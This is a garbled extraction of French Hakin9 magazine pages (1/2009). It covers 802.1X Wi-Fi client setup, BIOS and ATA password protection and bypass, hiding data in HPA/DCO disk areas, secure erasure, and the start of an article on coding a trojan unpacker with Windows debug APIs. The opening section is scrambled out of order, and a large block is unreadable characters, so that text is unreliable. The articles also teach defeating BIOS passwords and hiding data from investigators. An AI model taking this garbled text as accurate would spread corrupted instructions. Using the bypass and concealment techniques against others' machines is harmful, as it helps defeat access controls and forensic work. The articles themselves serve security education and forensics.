Ifconfig eth1 up Configuration d’un client 802.1 KiB) Conclusion Ensuite il est nécessaire de générer le fichier de configuration en déclarant les différents réseaux WiFi disponibles : vim wpa_supplicant.1X " key_mgmt=NONE Comme nous l'avons vu au cours de cette article le protocole 802.1X et son protocole d'authentification EAP sont devenues une nécessité pour toute entreprise qui souhaite protéger son réseau dès l'accès physique par les utilisateurs. Ce protocole est très souhaitable pour les réseaux WiFi afin de parfaitement sécuriser les connexions des utilisateurs notamment en créant un tunnel sécurisé avec un certificat. Notons que ce protocole peut aussi être lié aux Vlans de l'entreprise. puis valider..pem" } network={ phase2="auth=PAP" ca_cert="/etc/wpa_supplicant/ ssid=" Hakin9-802.1x est pris en charge par le système. ensuite saisir ces commandes : dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 misc:441 Missed beacon:50 Tx excessive retries:97 Invalid level=-58 dBm Noise level=-85 Nicolas Renard Actuellement en dernière année d'ingénieur à SUPINFO et certifié CISCO CCNA et Network Security. 802. Pour contacter l'auteur : nicolas.0 UP BROADCAST RUNNING wget --http-user=identifiant –http passwd=xxxxxx ‘chemin du certificat ac-racine’ MULTICAST MTU:1500 Metric:1 RX packets:2234 errors:0 TX packets:1524 errors:0 collisions:0 lg file transmission:1000 dropped:200 overruns:0 frame:0 dropped:0 overruns:0 carrier:0 wget --http-user=identifiant -du certificat ac-serveur’ > cachain.1X" scan_ssid=1 eap=TTLS key_mgmt=WPA-EAP identity="login" eth1 IEEE 802.crt ac-serveur. Autrement ce type d’authentification peutêtre automatiquement géré par le logiciel propriétaire de votre carte WiFi comme l’Intel PROset par exemple. La couche logicielle WiFi de Windows XP ne supportant pas le protocole EAPTTLS il est nécessaire d’utiliser un logiciel en complément comme SecureW2 qui va rajouter une couche à la suite logiciel de Windows pour prendre en charge ce protocole.1x configurer votre nom d’utilisateur..renard@supinfo.crt RX bytes:3093958 (2.255 Masque:255.

Des notions sur le stockage de données. La deuxième consiste à réaliser un dump de la mémoire du BIOS et à en extirper . de plus en plus de données sensibles sont conçues et utilisées sur les ordinateurs. Mais il est possible qu’il y ait d’autres mots de passe à saisir et que le mot de passe du BIOS soit le même.. Quelles sont les méthodes de contournement. Comment protéger l'accès à ses données. Protection du BIOS CET ARTICLE EXPLIQUE. il existe plusieurs façons de le contourner.. L’exemple présenté à la Figure 1 montre les choix disponibles dont notamment la possibilité de définir un contrôle d’accès au démarrage. il faut appuyer lors de la mise sous tension sur une touche spéciale. partiellement ou complètement. Bien évidement. Quelles sont les options qui s’offrent à un enquêteur ? Il y en a deux. Nous n’oublierons pas non plus de montrer comment assurer leur destruction.VINCENT LE TOUX BACKUP Protéger Degré de difficulté l’accès à ses données Il est de notoriété publique qu’il est possible de récupérer les données effacées et même de ressusciter certains disques. La première consiste à contourner cette sécurité. Par exemple en s’attaquant directement aux disques en les connectant sur un autre pc. généralement la touche SUPPR. En effet. D’où l’idée de récupérer ce mot de passe. il est garant de toute la sécurité précédant l’amorçage du système et il faut noter que quelques fonctions de sécurité y ont été implémentées... lorsqu’on est un criminel. ces techniques ne fonctionnent pas. Cette récupération s’effectue en deux phases. Nous allons présenter quels sont les moyens permis par le matériel afin de protéger les données et comment les laboratoires d’investigations procèdent pour y avoir finalement accès. des Super Mot de passe (master password) définis par le constructeur peuvent être saisis à la place du mot de passe original pour débloquer l’ordinateur en cas d’oubli. Cette récupération avancée peut être réalisée à des fins de preuve ou d’espionnage. Quel rapport avec les données ? Car en tant que premier maillon de la chaîne. Il se charge d’initialiser le matériel et de passer le contrôle au système d’exploitation. les mots de passe sont stockés dans une mémoire non volatile et le super mot de passe est formé à partir des identifiants uniques de l’ordinateur (numéro de série par exemple). Si ce contrôle arrête les novices. 64 HAKIN9 1/2009 Le BIOS est le premier programme lancé au démarrage de l’ordinateur. Ensuite il est possible de réinitialiser la mémoire du BIOS et donc d’effacer le mot de passe par des attaques matérielles (enlèvement de la batterie ou jumper à positionner) ou logicielles (programme killcmos ou via des commandes fournies au programme debug). CE QU'IL FAUT SAVOIR. on doit protéger ses données à tout prix sous peine qu’elles puissent être utilisées comme preuves. La première consiste à démarrer le pc sur une disquette grâce à un super mot de passe. Seulement sur certains ordinateurs portables. puis aller dans le menu sécurité. Comment les pirates se protègent et de quelles manières les enquêteurs aboutissent à leur fin ? A vec la démocratisation de l’informatique. Pour accéder à ces paramètres. Tout d’abord.

exe en est un exemple. Dans le cadre d’une procédure judiciaire.PROTÉGER MATÉRIELLEMENT L’ACCÈS À SES DONNÉES le mot de passe grâce au programme cmospwd écrit par Christophe Grenier. De plus. le mot password est retranscrit sous la forme pqsszord. on voit comment il est possible d’activer cette protection. Cette technique est beaucoup plus facile à réaliser qu’elle en à l’air car ces mémoires sont très répandues et très basiques : elles sont notamment installées sur les modules de RAM. Il y a deux niveaux de protection. Après la sélection du disque. S’il pourrait marcher en théorie branché en USB. il est impossible de lancer la séquence d’effacement pour le débloquer. données stockées dessus. les programmes interagissant avec ne fonctionnent que Ata password Tout le monde connaît les mots de passe à saisir au démarrage avant même le lancement du système d’exploitation. Il peut y avoir une étape supplémentaire : récupérer le super mot de passe grâce à son numéro de série. La seule solution permise dans ce cas pour le débloquer est de réaliser un formatage bas niveau supprimant les Figure 1. Le programme latitude. Le fonctionnement est le suivant : une fois un mot de passe défini. Dans cet exemple. Il existe enfin une commande bloquant le changement des paramètres de sécurité jusqu’au prochain redémarrage. Dans le cas où il serait stocké dans une mémoire non volatile (puce 24c02). il faut utiliser un programmateur mémoire. mais Microsoft a convaincu les constructeurs de le faire avec tous leurs disques pour qu’ils puissent être intégrés dans la Xbox. sur les ordinateurs portables compatibles. à la ligne Award 6. le démarrage est bloqué tant que le mot de passe correct n’a pas été saisi et donc en cas d’oubli. On trouvera en référence un tutoriel expliquant cette manipulation sur des machines fabriquées par Dell. Une récupération est illustrée à la Figure 2. il est impossible d’accéder aux données sans fournir celui-ci et le disque n’est déverrouillé que le temps où il est sous tension. mais l’utilitaire hdat2 illustré Figure 3 et programmé par Lubomir Cabla donne plus d’information à ce sujet. Cette fonctionnalité reste néanmoins difficile à utiliser en pratique. Le niveau haut (high) permet d’utiliser un super mot de passe en cas d’oubli alors que le mode maximum ne le permet pas. Il n’y a pas que le BIOS qui prend en compte cette fonctionnalité : il est possible d’utiliser des programmes pour le faire. mais il existe d’autres protections bas-niveau peu connues et relativement efficaces. Il suffit juste d’utiliser Set password pour l’activer. Représentation du BIOS d'un Dell Inspiron 5150 Figure 2. On notera pour ceux qui ne disposent plus de disquettes. cette protection est très facile à mettre en place. l’expert s’adressera directement au constructeur. toutes les commandes permettant d’agir sur la sécurité sont regroupées sous le menu Security. Sur les ordinateurs portables compatibles. mais certains programmes existants peuvent réaliser cette opération. il faut créer une disquette DOS contenant le programme et démarrer dessus. Programme Cmospwd 1/2009 HAKIN9 65 . il est rare que les constructeurs permettent de régler le niveau sur maximum et par conséquent les disques protégés de cette manière sont donc vulnérables aux super mots de passe. Pour le lancer. Dans le BIOS illustré Figure 1. Pire. Malheureusement. Il faut le savoir : il est possible de définir un mot de passe sur chaque disque dur. On cite généralement le programme atapwd à cet effet. A noter qu’il faut connaître le BIOS en question et que le mot de passe est retranscrit par défaut avec un clavier qwerty. En général. Cette protection a été développée initialement pour les disques de deux pouces et demi. qu’il est possible d’émuler cet environnement avec une clé USB formatée avec l’outil HP USB Disk Storage Format Tool ou avec un cd bootable. la fonction n’est pas supportée par les OS. le BIOS gèle ces paramètres et il est donc impossible de régler le niveau de sécurité.

contient la position et l’étendue des partitions au sein du disque. il est fortement déconseillé de l’utiliser. permettant d’accéder aux secteurs temporairement ou de changer le numéro du secteur d’amorçage. pistes. Pour contourner cette limitation et supporter de nouveaux types de média tels que les cd-rom. mais il y a quelques années la mode était aux utilitaires et à la sauvegarde instantanée. rendant impossible la suppression de la sécurité. Les constructeurs ajoutaient aux disques des logiciels. ce qui a été le cas avec moi. les données ne sont pas cryptées au sein du disque. Si une partition est cachée grâce à ce moyen.BACKUP sous DOS où le support de l’USB est limité. Ce secteur est ensuite positionné au sein d’une piste elle-même située au sein d’une tête et d’un cylindre : c’est l’adressage CHS. le système est libre d’accéder à n’importe quel secteur. il arrive que le BIOS se bloque tant qu’il n’a pas accès au disque. Il ne peut donc y avoir plus de 2^24*512 octets = 8Go. Une petite parenthèse sur l’adressage des disques. impossible de masquer une partition. Zones constructeurs Une fois l’accès physique au disque établi. Hdat2 Espace libre C Données Partition Primaire 1 Partition Primaire 2 MBR GPT Partitions Etendues 3 HPA DCO Partition Etendue 1 Partition Etendue 2 Espace libre A Figure 4. Cette taille peut varier dans des cas particuliers. ce chiffre peut s’avérer insuffisant et les partitions étendues ont été inventées pour contourner cette limitation. En effet. On pourrait se dire qu’il est possible de compter le nombre de pistes/tête/cylindre pour en déduire la capacité réelle d’un disque. mais c’est la valeur généralement utilisée. car la table des partitions. En effet. il s’agit de la description physique de certains médias magnétiques tels que les disquettes ou disque dur. L’astuce consiste à allouer Espace libre B . il reste toujours une trace ce qui n’est pas le but souhaité. il reste bien sûr à exploiter cette possibilité. Il faut savoir qu’il ne peut y avoir que 4 partitions primaires sur un disque dur. Du coup. Or dans certains cas. Il est donc potentiellement susceptible de le formater ou de modifier les partitions existantes. mais ceux-ci étaient sensibles à l’effacement. Bref pour un novice. La logique interne est alors masquée par le contrôleur et il est donc impossible de connaître la capacité réelle d’un disque. Vous avez dû entendre parler de secteurs. par le remplacement de la carte électronique contrôlant le disque ou en flashant le firmware de celui-ci. seul l’accès en est interdit. Représentation d'un disque avec ses partitions 66 HAKIN9 1/2009 Grâce à un jeu d’instruction spécialement créé. Il s’agit tout simplement de compter les secteurs de 0 à N-1 où N est le nombre de secteurs du disque. le disque est amputé d’une partie de sa capacité et le nombre de secteurs disponibles est réduit : cette zone est protégée. Si cette protection est d’un très haut niveau pour les particuliers. Comment y accéder ? Figure 3. Aujourd’hui la mode est à l’écolo. Ils ont donc créé une zone spéciale nommée Host Protected Area (HPA) dans laquelle sont stockées des données invisibles au système d’exploitation. située au début du disque. Or chaque adresse est stockée sous la forme de 10 bits pour le numéro de cylindre. Chaque donnée est enregistrée dans un secteur d’une taille de 512 octets. S’il est possible de masquer certains secteurs. Concrètement. Mais quelles zones adaptées peut-on utiliser pour cacher des données ? Il n’est pas permis d’utiliser un fichier ou des secteurs précis pour allouer une zone HPA. Comment un enquêteur contourne cette sécurité ? Si la sécurité n’est pas mise sur maximum par le mot de passe constructeur et sinon. tête ou cylindres. Enfin. on utilise maintenant l’adressage LBA. elle n’arrête en rien les laboratoires à condition qu’ils soient équipés d’appareils spécialisés ou de stock de pièces détachées. 8 bits pour le numéro de tête et 6 bits pour le numéro de secteur. Or les constructeurs ont une imagination fertile lorsqu’il s’agit d’innovation marketing.

WYMIANA reklama Segate .

juste après la fabrication. on peut exploiter environ 35Go. Ces programmes permettent bien évidemment la suppression de cette protection. il est nécessaire savoir combien d’espace il reste à la fin du disque. Hdat2 et zone HPA .6 device mapper permet la résolution de ce challenge de façon élégante. Pour calculer la position et la taille de cette cache sur le disque. Par exemple avec le programme hdat2 où. Or la partition primaire contenant des partitions étendues n’est pas forcément complètement exploitée et il peut exister de l’espace libre (noté A).BACKUP une partition primaire dans laquelle on créé une seconde table de partitions contenant la liste des partitions étendues. Les disques durs suivent la même logique. il peut arriver que cette zone ne soit pas détectée : c’est actuellement le cas du Sleuth Kit . Pour éviter cela. A noter qu’il existe 2 modes LBA. Il suffit de prendre le plus grand bloc alloué incrémenté de un et de le convertir en octets. Figure 5. L’utilitaire fdisk affublé de l’option –l nous est d’un grand secours en affichant la table des partitions et la position de chaque partition. Données de maintenance Les composants électroniques sont très complexes. Du côté Linux. (On multiplie par 512 le nombre de secteurs pour obtenir le nombre d’octets) L’exemple fourni Figure 5 alloue une zone non cryptée mais il est possible de définir un cryptage en remplaçant le mot clé linear par le mot crypt. Création d'un espace caché avec device mapper Figure 6. bien peu d’utilitaires la supportent : elle est donc très efficace pour cacher des données. De part sa conception. On sait que dans ce cas. Le HPA est maintenant une protection relativement connue. Il y a également des interstices entre les partitions (noté B) ou tout à la fin du disque (noté C). Il est possible de l’utiliser de la même manière que la zone HPA mais à part hdat2. Il reste bien sûr à utiliser cet espace sans créer de partition. 28bits ou 48bits et que 68 HAKIN9 1/2009 les jeux d’instructions gérant le HPA sont incompatibles entre ces 2 modes. les constructeurs ont ajouté une nouvelle protection nommée DCO. les constructeurs prévoient des redondances qui peuvent être utilisées au sein même des composants pour remplacer des parties défectueuses. il suffit de définir le dernier secteur accessible et d’enregistrer. Comme le HPA. En effet. après sélection du disque. Il suffit d’une impureté pour condamner une puce. seul l’espace C peut être utilisé pour masquer des données au sein d’une zone HPA. Reste bien sûr à activer la zone HPA. Dans l’exemple affiché Figure 5. (7600 + 1) * 8 388 608 = 63 761 809 408 octets sur un disque d’une capacité totale de 100Go octets. Il s’en découle que tout l’espace disque n’est pas exploité comme illustré à la Figure 4. son but est de diminuer la capacité présentée à l’utilisateur de façon à pouvoir vendre des disques de 80Go comme des disques de 40Go par exemple. Attention : cette dernière taille est à fournir en secteurs. Tous les programmes d’analyse ne gérant pas tous le mode 28bits. Mais avec la nouvelle norme ATA6. Les programmes setmax ou le Sleuth Kit réalisent la même chose sous Linux. utilisables sur les disques de moins de 128Go. la fonctionnalité introduite dans le noyau 2. On crée un périphérique block avec losetup avec un offset égal au premier octet de l’espace caché (exemple ici à 80 000 000 000) puis on le réutilise avec une commande dmsetup où la taille est celle de la zone à masquer.

Par exemple. On récupère très facilement ces informations grâce à l’utilitaire smartmon illustré à la Figure 7. Cela permet de savoir si le disque est neuf et placé là comme leurre ou s’il a réellement servi. 1/2009 HAKIN9 69 . Et bien évidemment. Enfin. il est très difficile d’avoir des informations à ce sujet. On le comprend tout de suite : il y a des secteurs cachés et inaccessibles au sein des disques durs. Correspondance entre un fichier et les données stockées sur le disque • • HPA : Host Protected Area. Données smart Effacement définitif Devant les techniques de récupération avancées des enquêteurs. les données d’origine restent inscrites sur le disque. La liste créée et maintenue à cette occasion s’appelle G List . En enregistrant tous les paramètres de fonctionnement. il est très facile de laisser des informations compromettantes. aucun outil grand public ne permet de modifier ces informations. l’attribut Reallocated_Sector_ Count permet de connaître le nombre de secteurs de la G List . Notez l'utilisation de la fonction debugfs pour obtenir la liste des blocs et de la fonction dd avec une taille de bloc de 4096 octets pour extraire les données directement depuis le disque. on n’oubliera pas que les secteurs défectueux sont remplacés automatiquement et donc qu’il est possible que des données sensibles aient pu faire partie des secteurs remplacés. par exemple lors d’un Terminologie Figure 8.PROTÉGER MATÉRIELLEMENT L’ACCÈS À SES DONNÉES ils subissent des tests très poussés. les secteurs présentant des anomalies peuvent être mis de côté par l’électronique et automatiquement remplacés par des secteurs de réserve. seule la G List est manipulée après la sortie d’usine puisque les instructions agissant sur la P List sont spécifiques à chaque constructeur et non divulguées. Il existe alors dans ce cas une copie ces données sur un des secteurs originaux. Théoriquement. Les secteurs ne remplissant pas leurs devoirs sont désactivés et mémorisés dans une liste nommée P List . Lorsqu’un PC est réformé. À l’origine présent sur le bloc 2959363. Il permet également de connaître le nombre de fois qu’il a été allumé (Power _ Cycle _ Count) et sa durée totale de fonctionnement (Powers _ On _ Hours). Certains logiciels spécialisés permettent cependant d’éditer cette liste mais à défaut. une simple écriture le transfère deux blocs plus loin. comment s’assurer de la destruction de données compromettantes ? En effet. il permet également de recueillir quelques informations. DCO : Device Configuration Overlay. Figure 7. présenté à la Figure 8. Prenons l’exemple très simple d’un fichier qui est modifié. Le SMART est un outil de diagnostic conçu pour anticiper les pannes. Par contre. S’il est possible d’y cacher des données.

mais aussi difficiles à mettre en place. La seconde utilise le fait que le centre des têtes ne se positionne pas toujours exactement au même endroit pour écrire et donc qu’il reste des traces sur les bords des pistes. http://www. plus de 10 000 fois la capacité originale.foi. le niveau obtenu correspondrait à 0. Pour contacter l'auteur : vincent. en pratique. On peut alors énumérer les 4 techniques actuellement utilisées.uk/reference/biosp.sleuthkit.org/web/20040429073809/qasimtoep. Alors s’il existe des démonstrations techniques de récupération de données après effacement. Gutmann a proposé une méthode consistant en deux phases. La récupération de données n’est alors plus un tour de magie.com 70 HAKIN9 1/2009 . comme les mots de passe définis sur les disques. La quantité de données à analyser est alors phénoménale. Mais est-ce nécessaire ? En effet. Aucune récupération totale d’un disque ayant été effacé n’a été présenté aujourd’hui.auckland.org/lock.uktsupport.hdat2. http://www. http://www. stockés dans la Glist (dont on obtient le nombre grâce à smartmon). Reste alors à exploiter les données.nz/~pgut001/pubs/secure_del. elles sont aussi faciles à contourner. effectue plusieurs passes aléatoires suivies d’une destruction du média. elles ne portent que sur quelques octets de données et ont pris beaucoup de temps : ces analyses sont donc hors de prix. Sans compter qu’il faut positionner le matériel et effectuer la procédure bit par bit : la procédure est très longue. il est nécessaire d’avoir des images très précises du disque.05 alors que s’il y avait précédemment un 0. elle.ac. Ce domaine était peu connu jusqu’à la publication dans les années 90 de l’étude Gutmann. ce sont seulement les constructeurs de portables professionnels qui font ce choix. Si des fonctions comme la protection du BIOS sont répandues. La première utilise les variations infimes du champ enregistré sur le média.95. effectue 7 passes. l'auteur a rejoint une société d'études de marché à Paris en tant que chef de projet.txt – Reset password. lorsqu’un 1 est écrit sur un autre 1. portant le total à 35 passes.rockbox.actionfront. dépendant eux-mêmes des technologies d’enregistrement. il est possible d’observer les plateaux des disques dans un niveau de détail élevé.org/cmospwd.archive. Cela requiert déjà de démonter les plateaux en salle blanche.html – dell reset password. http://www. comment peut-on s’assurer que les données ne puissent pas être récupérées pour un usage malveillant ? Pour commencer.. consiste à écrire en une seule passe des données aléatoires sur le disque à effacer. Les fabricants n’ont pas l’obligation de l’implémenter mais elle est parfois disponible. Les seules méthodes connues sont la réécriture (par des uns. Pour empêcher le recouvrement des données. le niveau réel obtenu correspond à peu près à 1. il est employé dans l'équipe architecture d'une grande institution financière à Bruxelles. une seule passe suffit. Quant à l’intérêt d’effectuer jusqu’à 35 pour être sûr. mais uniquement l’application d’une connaissance approfondie. Par exemple. une pour chaque propriété. des zéros ou n’importe quel motif binaire) ou la destruction physique du média. on rappelle que leur nombre a été déterminé par la quantité de motifs à écrire.BACKUP don à une association. http://www. Conclusion Sur Internet • • • • • • • • • • • http://www. Il suffit de s’adresser à un organisme de récupération de données pour s’en assurer : aucun ne propose de service pour effectuer la restauration suite à un dd if=/dev/zero. Puis il faut positionner le disque avec précision et prendre une photographie de celui-ci. D’où la proposition de la NSA d’implémenter une fonction pour éradiquer toutes les données des disques.xbox-linux. Enfin. Tout dépend du constructeur et bien souvent.. Rien ne démontre qu’une passe supplémentaire diminuera les chances de récupération. On remarque que 3 méthodes sur les 4 présentées ici effectuent plusieurs passes.html – atapwd. est-on sûr de bien tout effacer ? On a vu qu’il existait des zones susceptibles d’avoir contenu des données à un moment avant d’être cachées : ce sont les secteurs défectueux.htm – Master password.co. http://www. la plus basique.org/ – sleuthkit. Bref. La méthode de la NSA. Or elles ont bien changé en 20 ans rendant la justification des 35 passes caduque.cs. La deuxième du département de la défense américaine.cert-ist.cgsecurity. il n’existe pas de méthode prévue au niveau du disque pour effacer une zone précise.org – Protection du disque des xbox.com/ – hdat2.com/dell/dell.html – Etude Gutmann. Deux propriétés peuvent ensuite être utilisées pour reconstituer chaque bit.com/fra/ressources/Publications_ArticlesBulletins/Veilletechnologique/ effacement_disque/. D’autres sont bien plus efficaces.se/upload/rapporter/foi-computer-forensics. http://www. il est très difficile en pratique d’extraire les données d’un disque effacé. La première phase consiste à écrire 3 passes de données aléatoires puis la seconde à écrire plusieurs passes de motifs spécifiques.com/whitepaper/Drive-Independent%20Data%20Recovery%20Ver14Alrs. Mais au fait. Vincent Le Toux Après son diplôme de l'ENSIMAG obtenu en 2003. http://www. En effet.pdf. Cette étude présente des moyens techniques de récupération et leur contournement. dépendant des technologies d’écriture utilisées à cette époque. en faisant appel à un microscope à effet de champ magnétique. On peut exécuter cette fonction grâce à des utilitaires systèmes tels que hdat2. http://www. pdf. Aujourd'hui. http://web. qu’elles soient dans les secteurs défectueux ou dans les zones HPA ou DCO.letoux@gmail. Tout d’abord. la quatrième méthode est la méthode Gutmann qui effectue 35 passes. La première.tripod. Le matériel requis est de plus très couteux.

���������������� ������������������������������������� �������������������������������������������������������� ������������������������������������������������� ��������������������������������������������������������� ���������������������������������������������������������� ���������������������������������������������������� ������������������������������������������������������ ����������������������������������������������������� ��������������������������������������������������� ������������������������������������������������������������ ������������������������������������������������������������ �������������������������������������������������������� ����������������������������������������������������� ���������������������������������������������������� ���������������� � ������������������������������������ ������������������������������������������ ����������������������������������������������� ����������������������������������������������������������� ������������������������������������� ����������������������������������������������������������� ������������������������������������������������������� ������������������������������������������������������������ �� ������������������������������������������� �������������������������� ������������������������������������������������ ���������������������������������������������� ��������������������������������������������������� ������������������������������������������������ ����������������������������������������������� ���������������������������������������������� ����������������������������������������������������� ����������������������������������������������������� ������������������������������������������������ ������������������������������������� �������������������������������� ���������������������������������������������� �������������������������������������������� ������������������������������������������������ ������������������������������������ ����������� �������������������������������������������������� ������������������������������������������������� ����������������������������������������������������� ��������������������������������������������������� ��������������������������������������������������������� ������������������������������������������������������� ����������������������������������������������������� ������������������������������������������������������ ��������������������������������������������� ����������������������������������������������������� ����������������������������������������������������������� �������������������������������������������������������� ���������������������������������������������������� ���������������������������������������������� ������������������������������������������������ ��������������������������������������������������� ������������������������������������������������ ������������������������������������������������� �������������������������������������������������� ���������������������������������������������������� ��������������������������������������������������� ������������������������������������������������������� ������������������������������������������������������ ����������������������������������������������������� ��������������������������������������������������� ������������������������������������������������������� ��������������������������������������������������� ������������������������������������������������� ������������������������������������������������������� ����������������������������������������������������� ������������������������������������������������� �������������������������������������������������������� �������������������������������������������������� �������������������������������������������������� ������������������������������������������������������ �������������������������������������������������� ���������������������������������������������������� ������������������������������������������������� �������������� ����������������������������������������������� �������������������������� ������������������������������������������� ������������������������������������� �������������������������������������������� ��� �������������������������������� ��������� ������������������������������������������������� ������������������������������������������������ ������������������������������������������������� ������������������������������������������������������ ��������������������������������������������������� ������������������������������������������������������ ���������������������������������������������������� ������������������������������������������������ ����������������������������������������������������� ����������������������������������������������������� ��������������������������������������������������� ������������������������������������������������������� ���������������������������������������������������������� ����������������������������������������������������������� ������������������������������������������������� ����������������������������������������������������� ������������������������������������������������������� ������������������������������������������������������������� ���������������������������������������������������� ������������������������� ��������������������������������������������������������������� ������������������������������������������������� ����������������������������������������������������� ����������������������������������������������������������� ������������������������������������������������������������ �������������������������������������������������������� ����������������������������������������������������������� �������������������������������������������������� ��������������������������������������������������� ������������������������������������������������������������ ����������������������������������������������� � �������������������������������������������������������� ���������������������������������������������������� ������������������������������������������������������� ���������������������������������������������������� ���������������������������� ��������������������������� ���������������������������������������������������������� ������������������������������������������������������� ������������������������������������������������ ���������� ���������������� ���������������������������������������������� ������������������������������������������������� ������������������������������������������������������������ �������������������������������������������������� ���������������������� ������������������������ ������������������������������������������������������ ������������������������������������������������������� ��������������������������������������������������������� ��������������������������������������������������������� �������������������������������������������������� ����������������������������������������������������� ��������������������������������������������������������� ������������������������������������������������������� ���������������������������������������������������� ���������������������������������������������������������� ����������������������������������������������������� ���������������������������������������������������� �������������������������������������������������� ��������������������������������������������������� ������������������������������������������������ ����������������������������������������������������� �������������������������������������������������������� ��������������������������������������������������� ��������������������������������������������������� ��������������������������������������������������������� ������� .

Si le code d'erreur est bien celui attendu ( ERROR _ INVALID _ PARAMETER 0x57) alors l'exécution du virus se poursuit. un loader. par exemple l'adresse du saut qui va rendre la main au programme. Étude du loader Avant de programmer notre un-packer il est nécessaire d'étudier le loader (la fonction logée dans l'exécutable qui déchiffra le malware au chargement du programme). il est alors plus rapide d'analyser les variantes d'un trojan packées avec le même packer. c'est à dire sur le fichier et non en mémoire lorsque le programme est lancé. Pour que les exécutables puissent être lancés. Comment programmer un un-packer. il nous suffira de restaurer l'état de la machine virtuelle avant l'infection grâce à un snapshot . Programmer en C.. le packer leur ajoute une fonction.. CE QU'IL FAUT SAVOIR. Comment analyser un packer simple. chiffre. Pour analyser ces malwares il est nécessaire de les un-packer. Cet anti-antivirus n'est pas très utile. P CET ARTICLE EXPLIQUE. le code du malware est chiffré et la détection par signature échoue. puis nous allons rechercher les points sensibles du packer.. etc. de reconstruire l'exécutable pour qu'il retrouve sa forme originale et que l'on puisse accéder directement à son code. Lorsqu'un malware possède une ou plusieurs portions de code qui sont toujours identiques.. en effet le code du packer n'est pas polymorphique et il . Anti-Émulation Le malware essaie de freiner et de détecter l'émulation de son code par les antivirus en exécutant 20500 fois l'API TlsFree avec de mauvais arguments et en vérifiant le code d'erreur retourné. Pour faire notre un-packer. sinon elle s'arrête. La programmation d'un un-packer permet d'accélérer l'étape de l'un-packing en l'automatisant.TECHNIQUE BABOON Programmation d'un unpacker de trojan Degré de difficulté Une technique très utilisées par les antivirus est la détection par signature. Inutile de préciser que lorsque l'on étudie un code malicieux il faut le faire dans une machine virtuelle qui nous permettra en cas d'exécution malencontreuse du malware de ne pas avoir à formater notre disque dur. ensuite nous allons rechercher des signatures dans le packer qui nous permettrons de retrouver ces points. Nous allons pour cela d'abord un-packer manuellement notre malware. qui va décompresser et déchiffrer l'exécutable en mémoire avant de lui rendre la main. Des notions sur le format PE (Portable Executable). Les détections par signatures se faisant sur l'exécutable 'en dur'. enfin nous programmerons notre un-packer qui utilisera les debug APIs de Windows ce qui nous permettra de contrôler l'exécution du packer et de dumper le processus au bon moment. nous allons d'abord analyser le packer afin de comprendre son fonctionnement précis. l'antivirus en extrait la séquence d'octets correspondant et s'en sert par la suite pour détecter la présence du malware. Se servir de OllyDBG (une grande maitrise n'est pas nécessaire). Les bases de l'assembleur x86.. protège les exécutables. Un packer est un programme qui compresse . 72 HAKIN9 1/2009 our lutter contre la détection par signature les trojans sont souvent packés à l'aide d'un packer. l'endroit où les imports du programme sont résolus. Nous ouvrons donc le binaire packé avec OllyDBG et nous pouvons commencer l'analyse.

DWORD addrHBP. HANDLE hThread. } else ContinueDebugEvent(DbgEvt. CreateProcessA(path.flag. Code de déchiffrement du plugin 1/2009 HAKIN9 73 .DEBUG_ONLY_THIS_PROCESS | DEBUG_PROCESS . seule. il est fort probable que le déchiffrement du code et l'anti-antivirus soient intégrés dans un module programmé par le pirate. DBG_EXCEPTION_NOT_HANDLED). décompression du programme. StartupInfo.&StartupInfo . &ProcessInfo) Décompression et résolution des imports La compression a été faite grâce a PECompact (on voit le nom du packer en mémoire après le déchiffrement). } Figure 1. // DR7flag est une macro permettant de calculer la // valeure de DR7 suivant le type de HBP // que l'on souhaite poser.Exception.NULL. Listing 3.INFINITE)) { if (DbgEvt.DbgEvt.ANALYSE D'UN PACKER DE TROJAN est facile d'en extraire une signature qui le détectera à coup sur sans avoir à l'émuler. LPCTSTR path = "packed. Créer un processus en mode debug STARTUPINFOA StartupInfo. StartupInfo.NULL. la protection que cet anti-émulateur offre est nulle.dwDebugEventCode == EXCEPTION_DEBUG_EVENT) { if (DbgEvt. pas un protector.BreakOnExec. Enfin il recherche les adresses des APIs qui vont être utilisées par la fonction qui décompressera le code.exe".ExceptionRecord._type.NULL.u. Chaque octet est chiffré à l'aide d'opération réversibles (multiplication. Poser un Hardware Break Point #define #define #define #define #define #define #define #define #define OneByteLength 00 TwoByteLength 01 FourByteLength 3 BreakOnExec 0 BreakOnWrite 1 BreakOnAccess 3 GlobalFlag 2 LocalFlag 1 DR7flag(_size. StartupInfo. • • Déchiffrement Le malware déchiffre ensuite son code qui a été chiffré au moment où il a été packé.lpDesktop = NULL.DbgEvt. il est donc facile à un-packer.ExceptionCode ==EXCEPTION_SINGLE_STEP) return 1.DBG_CONTINUE).dwProcessId. SetThreadContext(hThread. GetThreadContext(hThread. Ce genre de technique n'est intéressante que dans le cas de malwares aboutis. comme protection supplémentaire.cbReserved2 = 0.Dr0 = addrHBP.DBG_CONTINUE).FALSE.cb = sizeof(STARTUPINFO).DbgEvt. StartupInfo.dwFlags = NULL.dwThreadId.HBPnum) (((_size<<2 | _type)<< (HBPnum*4 +16)) | (flag << (HBPnum*2))) CONTEXT Context. } return 0. StartupInfo. while(WaitForDebugEvent(&DbgEvt. else ContinueDebugEvent(DbgEvt.ContextFlags = CONTEXT_ALL. 2 – l'exception est gérée par un handler précédemment mis en place qui va rediriger le processus sur la fonction de décompression à proprement parler.&Context). PROCESS_INFORMATION ProcessInfo. DEBUG_EVENT DbgEvt.&Context). PECompact met à la disposition du programmeur un système de module qui lui permet d'agir avant ou après la Listing 2. PECompact est un compresseur.lpTitle = NULL. StartupInfo.dwThreadId. Listing 1.dwThreadId. Context. addition. il est plus simple de développer un module qu'un packer de A à Z (voir Figure 1). ou exclusif). il analyse généralement les deux branches du saut.lpReserved = NULL. NULL .Dr7 = DR7flag(OneByteLength.dwProcessId.dwProcessId. NULL . Context. La décompression se déroule selon ce schéma : • 1 – déclenchement d'une exception de type ACCESS _ VIOLATION (le processus essaie d'écrire à une adresse nulle).lpReserved2 = NULL.GlobalFlag | LocalFlag. Attendre une exception SingleStep (indique que le programme a atteint un HBP) int WaitForSingleStepExc(void) { ContinueDebugEvent(DbgEvt. StartupInfo. Enfin lorsqu'un antivirus rencontre un saut conditionnel.0). 3 – la fonction de décompression va allouer une page mémoire dans laquelle va être décompressée le code du loader. ce packer obtient un fort taux de compression . Context. l'exécutable passe de 828Ko avant compression à 127Ko.

